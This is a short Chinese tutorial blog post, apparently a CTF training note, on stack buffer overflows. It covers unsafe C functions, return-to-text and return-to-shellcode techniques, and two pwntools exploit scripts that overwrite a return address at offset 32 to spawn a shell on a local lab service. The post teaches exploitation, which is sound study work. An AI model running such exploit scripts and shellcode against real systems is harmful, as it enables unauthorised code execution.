Pwn_5 Stack Overflow

本文详细介绍了缓冲区溢出攻击原理及防御方法,包括如何利用StackOverflow漏洞通过覆盖返回地址来控制程序执行流程,以及如何使用工具定位并利用这些漏洞。

Buffer Overflow

因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行。

Stack Overflow

利用方式简单,可以直接覆盖return address和控制参数

Vunlnerable Function

  • gets
  • scanf
  • strcpy
  • sprintf
  • memcpy
  • strcat


Return to Text

控制程序的返回地址到原本程序中的函数(代码)

例如有类似的function,就可以直接跳转到这个function,function的地址可以用过IDA Pro或者objdump来查找

  • system(‘/bin/sh’)   //很少
  • execve(‘/bin/sh’,NULL,NULL)

Return to Shellcode

  • 覆盖返回地址
  • 跳转到func或者shell

要做的事情

1.确定偏移地址offest

2.ret->shell

多输入,如果报了段错误说明有   溢出点

image偏移地址是32

函数地址

image0x804851D

一个脚本

from pwn import *
r = remote ('127.0.0.1',4000)   #connect

r.sendline('a'*32 +p32(0x804851D) ) #offset + ret

r.interactive()


image丢进IDA看伪代码

双击name,name是一个未初始化的全局变量,在bss段中,这是一种关键信息。地址为0x0804A060,不改变

image

from pwn import *
r = remote ('127.0.0.1',4000)   #connect

r.recvuntil('Name:')

r.sendline(asm(shellcraft.sh()) ) #offset + ret

r.recvuntil('Try your best: ')

r.sendline('a'*32+p32(0x0804A060))

r.interactive()   # interact

返回地址改为全局变量的地址

转载于:https://www.cnblogs.com/rookieDanny/p/8460353.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值